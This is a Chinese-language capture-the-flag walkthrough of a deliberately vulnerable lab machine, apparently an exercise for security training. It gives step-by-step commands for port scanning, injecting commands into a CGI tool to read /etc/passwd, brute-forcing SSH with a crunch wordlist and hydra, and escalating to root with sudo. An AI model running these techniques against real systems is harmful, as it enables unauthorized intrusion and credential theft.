nmap扫描、匿名访问ftp、nc访问疑似后门端口、dirb扫描网站目录、利用RCE查看/etc/passwd、strings查看图片字符串内容、cp文件获得文件属主权限、crunch生成密码字典、hydra爆破、sudo提权
环境信息:靶机:192.168.101.70
攻击机:192.168.101.34
具体步骤:这个靶机和其他靶机不太一样,一共有9个flag,130 points,下面就开始找flag啦~
1、nmap扫描得到10pointssudo nmap -sV -sC -p- 192.168.101.70
扫描到21、22、80、9090、13337、22222、60000端口
仔细看nmap扫描结果会发现扫描结果中已经有一个flag在13337端口~拿到10 points(剩余120 points)
FLAG:{TheyFoundMyBackDoorMorty}-10Points
2、匿名访问ftp得到10points另外,在nmap扫描结果中还注意到21端口ftp服务可以匿名访问,并且有一个叫flag.txt的文件
直接用浏览器访问ftp://192.168.101.70/
查看FLAG.txt发现第二个flag~又得到10 points(还剩110 points)
FLAG{Whoa this is unexpected} - 10 Points
从nmap扫描结果中还能看出端口60000大概是个shell,用nc进行连接
nc 192.168.101.70 60000
发现很多命令不能用,但对于找到flag来说足够了。
在当前目录下执行ls命令,发现有个FLAG.txt文件,用cat命令查看得到第三个flag~又得到10 points(剩余100 points)
FLAG{Flip the pickle Morty!} - 10 Points
dirb http://192.168.101.70
主要扫描到
http://192.168.101.70/passwords/和http://192.168.101.70/robots.txt
先看看http://192.168.101.70/passwords/
目录下有两个文件,一个FLAG.txt,一个passwords.html
打开FLAG.txt,得到第4个flag,10 Points(剩余90 Points)
FLAG{Yeah d- just don't do it.} - 10 Points
打开passwords.html,右键查看网页源代码,发现注释
再看 http://192.168.101.70/robots.txt
其中http://192.168.101.70/cgi-bin/tracertool.cgi是一个测试主机连通性的工具,并且有RCE漏洞
127.0.0.1;whoami
很遗憾,这边不能用来反弹shell,但是看看文件还是可以的。cat命令用不了,但可以用more命令来看
127.0.0.1;more /etc/passwd
可以看到除了root之外,还有三个用户有/bin/bash
RickSanchez:x:1000:1000::/home/RickSanchez:/bin/bash
Morty:x:1001:1001::/home/Morty:/bin/bash
Summer:x:1002:1002::/home/Summer:/bin/bash
访问https://192.168.101.70:9090/得到第5个flag,又是10 points(剩余80 points)
FLAG {There is no Zeus, in your face!} - 10 Points
步骤4中得到密码winter,步骤5中得到三个用户RickSanchez、Morty、Summer
直觉告诉我,winter大概是Summer的密码
以用户名Summer,密码winter进行ssh登录,登录端口为22222,登录成功
ssh Summer@192.168.101.70 -p 22222
Summer的家目录下果然有个FLAG.txt
cat命令还是不好使,用more命令查看FLAG.txt,第6个10points(剩余70 points)
more FLAG.txt
FLAG{Get off the high road Summer!} - 10 Points
目录切到/home/Morty
有一个加密的zip文件journal.txt.zip,还有一张图片Safe_Password.jpg
把这两个文件弄到攻击机上
靶机上/home/Morty目录下起http服务
python2 -m SimpleHTTPServer 8080
攻击机上用wget下载journal.txt.zip和Safe_Password.jpg
wget http://192.168.101.70:8080/journal.txt.zip
wget http://192.168.101.70:8080/Safe_Password.jpg
攻击机上查看Safe_Password.jpg中的字符串内容
strings Safe_Password.jpg
可以得到journal.txt.zip的密码Meeseek
攻击机上解压journal.txt.zip,密码Meeseek
unzip journal.txt.zip
查看解压后的文件journal.txt,得到第7个flag,价值20points(剩余50points)
Monday: So today Rick told me huge secret. He had finished his flask and was on to commercial grade paint solvent. He spluttered something about a safe, and a password. Or maybe it was a safe password... Was a password that was safe? Or a password to a safe? Or a safe password to a safe?
Anyway. Here it is:
FLAG: {131333} - 20 Points
其实上面这段话除了给出flag之外,还提示了/home/RickSanchez/RICKS_SAFE目录下safe文件的执行参数。
进入/home/RickSanchez/RICKS_SAFE目录可以发现safe文件,是可执行的,但是当前用户Summer没有执行权限。由于Summer不是safe文件的属主,所以也无法修改safe文件权限。
将safe拷贝到Summer的家目录下,命名为safe2,虽然其文件权限没变,属主却变成了Summer,此时Summer便有safe2文件的执行权限了
cp safe ~/safe2
直接执行safe2还是无法执行成功
将步骤8中的flag作为参数,执行成功,得到第8个flag,20points(剩余30points)
./safe2 131333
decrypt: FLAG{And Awwwaaaaayyyy we Go!} - 20 Points
Ricks password hints:
(This is incase I forget.. I just hope I don't forget how to write a script to generate potential passwords. Also, sudo is wheely good.)
Follow these clues, in order
1 uppercase character
1 digit
One of the words in my old bands name.
除了flag,上述打印还提示了RickSanchez用户的密码,依次是:
1个大写字母,一个数字,RickSanchez的老乐队名字中的一个单词
百度可以知道RickSanchez的老乐队名字是The Flesh Curtains
用crunch制作密码字典,其中-t表示指定格式,%表示数字,逗号表示大写字母
crunch 7 7 -t ,%Flesh > rick.txt;crunch 10 10 -t ,%Curtains >> rick.txt
生成了一个包含520个单词的密码字典
用hydra爆破
hydra -l RickSanchez -P "rick.txt" ssh://192.168.101.70:22222
得到RickSanchez的密码P7Curtains
RickSanchez用户ssh登录,密码输入P7Curtains,登录成功
ssh RickSanchez@192.168.101.70 -p 22222
sudo -l发现RickSanchez可以以任何身份执行任何命令
sudo su提权到root
sudo su -
在/root目录下找到最后一个flag,价值30 points
FLAG: {Ionic Defibrillator} - 30 points